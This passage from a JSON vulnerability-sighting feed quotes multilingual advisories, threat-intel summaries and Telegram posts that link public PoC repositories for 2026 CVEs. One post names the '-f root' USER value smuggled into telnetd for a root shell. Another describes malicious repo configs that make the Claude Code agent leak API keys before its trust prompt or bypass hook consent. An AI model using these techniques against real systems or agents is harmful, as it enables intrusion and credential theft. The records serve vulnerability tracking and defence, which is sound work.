\u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 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\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SmartScreen \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Windows Shell.\n\n\u0427\u0442\u043e\u0431\u044b \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u044f\u0440\u043b\u044b\u043a. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udca1 \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.665083Z"}, {"uuid": "84aa9d44-6817-40eb-9ea1-2a56b00dc023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/Positive_Technologies/4314", "content": "\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0437\u0430 II \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430 \u270d\ufe0f\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438: \u043e\u0442 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u0412\u041f\u041a \u0434\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a Rare Werewolf, PseudoGamaredon, Tolik, XDSpy, CloudAtlas, BO Team, NetMedved, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Hive0117.\n\n\u2709\ufe0f \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430:\n\n\u2022 \u0422\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 \u043b\u0435\u0433\u0435\u043d\u0434\u0430\u043c\u0438 \u0434\u0435\u043b\u043e\u0432\u043e\u0439, \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0441\u043a\u043e\u0439 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438.\n\u2022 \u0410\u0440\u0445\u0438\u0432\u044b \u0441 HTA-, LNK-, JScript-\u0444\u0430\u0439\u043b\u0430\u043c\u0438, RAR \u0441 BAT-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Office \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438.\n\u2022 \u0420\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432 (BEC) \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432.\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2026-21509 \u0432 Microsoft Office.\n\n\ud83d\udd0d \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438:\n\n\u2022 Hive0117 \u043f\u0435\u0440\u0435\u0448\u043b\u0430 \u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 C2 \u0447\u0435\u0440\u0435\u0437 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d Bitcoin \u2014 \u0430\u0434\u0440\u0435\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 OP_RETURN-\u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 \u043e\u0431\u0440\u0430\u0437\u0446\u0430.\n\n\u2022 CloudAtlas \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0437\u0430 oEmbed-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 WordPress-\u0441\u0430\u0439\u0442\u044b.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0442\u0447\u0435\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435 \ud83e\udef2\n\n#TI #APT #Malware #Phishing \n@ptescalator", "creation_timestamp": "2026-07-28T14:00:05.709582Z"}, {"uuid": "bdd02fa5-26a6-4f38-9d62-7517be2ef824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/forsmile.bsky.social/post/3mtxqn2c7rn23", "content": "\u3010\u7dca\u6025\u3011Oracle HTTP Server / WebLogic Proxy Plug-in \u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff08CVE-2026-21962 / CVSS 3.1 10.0\uff09\n\n\u672a\u8a8d\u8a3c\u30fb\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7d4c\u7531\u3067\u30c7\u30fc\u30bf\u306e\u7a83\u53d6\u3068\u6539\u3056\u3093\u304c\u53ef\u80fd\u3002CISA\u304c8/24\u306bKEV\u3078\u8ffd\u52a0\u3057\u3001\u662f\u6b63\u671f\u9650\u306f8/27\u3067\u3059\u3002\n\u5bfe\u51e6\u306f2026\u5e741\u6708\u306eOracle Critical Patch Update\u306e\u9069\u7528\u3002\u5bfe\u8c61\u306f12.2.1.4.0 / 14.1.1.0.0 / 14.1.2.0.0\u3002\n\nforsmile.jp/articles/ora...", "creation_timestamp": "2026-08-26T06:51:33.328023Z"}, {"uuid": "e7ecd5b0-b672-44d6-9ec9-1df936afb77f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.786859Z"}, {"uuid": "7606a961-ce4f-4801-b7e3-ef966e2468db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17004", "content": "\ud83d\udee1 CVE-2026-21852-PoC (Educational Demo Repo)\n\ud83d\udce6 Repository: atiilla/CVE-2026-21852-PoC\n\ud83d\udc49 https://github.com/atiilla/CVE-2026-21852-PoC\n\nThis repository demonstrates historical PoC patterns for vulnerabilities in the Anthropic Claude Code CLI tool, including CVE-2026-21852, designed for educational purposes only.\n\n\ud83d\udccc What This Repo Contains\n\ud83d\udcc2 Demo directories for historical bugs\nExamples show how malicious config files can influence tool behavior\n\n\ud83d\udc0d Python scripts:\n\u2022 attacker_server.py \u2013 Local server to capture and log simulated traffic\n\u2022 attacker_proxy.py \u2013 Proxy for observing exfiltration behavior\n\u2022 scanner.py \u2013 Scanner to detect risky patterns in local repositories\n\n\ud83d\udcc1 Demo content directories include:\n\u2022 vuln1_hooks_bypass/\n\u2022 CVE-2025-59536_mcp_injection/\n\u2022 CVE-2026-21852_api_exfil/\n(Configuration files under these folders illustrate pattern examples.)\n\n\ud83e\udde0 Vulnerabilities Covered\nThe project explores multiple vulnerabilities historically disclosed for Claude Code CLI:\n\u26a0\ufe0f Hooks consent bypass \u2013 bypasses consent mechanisms (older build)\n\u26a0\ufe0f CVE-2025-59536 \u2013 MCP config injection \u2013 orchestration config risk\n\u26a0\ufe0f CVE-2026-21852 \u2013 API key disclosure \u2013 config causes API key to be sent before trust verification\nThe vulnerability CVE-2026-21852 identified that malicious repository settings could exfiltrate API keys prior to showing a trust prompt in affected Claude Code versions.\n\n\ud83c\udfaf How the Repo Can Be Used (Education Only)\n\ud83d\udccc Scanner\npython3 scanner.py \nDetects dangerous config patterns that could be risky before opening repositories.\n\n\ud83d\udccc Local Demo Server\npython3 attacker_server.py\nSimulates a server to log simulated exfiltration traffic.\n\n\ud83d\udccc Proxy Demo\npython3 attacker_proxy.py\nTransparent proxy to illustrate capture behavior.\n\n\ud83e\udde0 What You Learn Here\n\u2714\ufe0f How untrusted configuration files can impact tool behavior\n\u2714\ufe0f Why verifying repository contents before opening is important\n\u2714\ufe0f The concept of pre-execution key leakage (API exfiltration)\n\u2714\ufe0f How scanners can detect repository risk patterns\nThese skills are valuable in secure dev workflows, supply chain security, and blue team defensive validation.\n\n\u26a0\ufe0f Important Notes (Responsible Use)\n\u2705 This repository is for security research and learning only.\n\u274c Do NOT deploy these scripts against third-party or production systems.\n\u274c Never open untrusted repositories in real tools without inspection.\n\u2696\ufe0f Always practice ethical/authorized testing and use isolated lab environments.\n\n\ud83d\udccc Additional Reference: CVE-2026-21852 Description\n\ud83d\udccc The vulnerability CVE-2026-21852 pertains to an information disclosure issue in Claude Code \n       where repository settings could cause premature API calls before trust confirmation, risking API key exfiltration.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:10.372777Z"}, {"uuid": "d8236ceb-f349-45a5-949a-adc6b93877a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/GithubRedTeam/99891", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21962\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeetee1235\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 03:01:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:04.087531Z"}, {"uuid": "e5d38cbc-3ce0-42ad-a4da-b747a6260200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mtvnagchtf2w", "content": "CISA ordered urgent patching of CVE-2026-21962, a critical unauthenticated RCE flaw in Oracle HTTP Server and WebLogic Server Proxy plugin, actively exploited since January. #OracleWebLogic #CISA #China", "creation_timestamp": "2026-08-25T10:45:23.968111Z"}, {"uuid": "9fc65b1d-24c6-47ff-aa7a-1aa57c655c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/the-real-l7.bsky.social/post/3mu2csqfukc2l", "content": "Prompt injections, agentic AI, and CVE-2026-21962. How do these things affect us and companies at large? What dangers do they pose? Find out in today's newsletter where we go more in-depth.\n\nFell free to view it here:\n\nl7it.substack.com/p/castle-wal...", "creation_timestamp": "2026-08-27T07:22:10.935195Z"}, {"uuid": "ac6cdad7-c563-4990-bcda-a3d1b39418ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/260", "content": "CVE-2026-21509\n\nReliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally.\n\nGitHub Link:\nhttps://github.com/suuhm/CVE-2026-21509-handler", "creation_timestamp": "2026-08-29T00:00:30.235678Z"}, {"uuid": "d4e4b69f-9564-48e1-8345-f1a570e049ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "Telegram/Ulv7QoSyWA5lm_K-9k-FxfxZ3zY3ze7R9p7jnYS7agnapg", "content": "", "creation_timestamp": "2026-08-25T11:00:03.590594Z"}, {"uuid": "fb2f33c9-6e89-407c-9d53-d30540b6d4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mu2emk3kucfm", "content": "CISA\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bOracle WebLogic\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u8b66\u544a\uff08CVE-2026-21962\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47375/", "creation_timestamp": "2026-08-27T07:54:26.974055Z"}, {"uuid": "a9f1f627-015b-458b-9d4a-e37224d15cff", "vulnerability_lookup_origin": 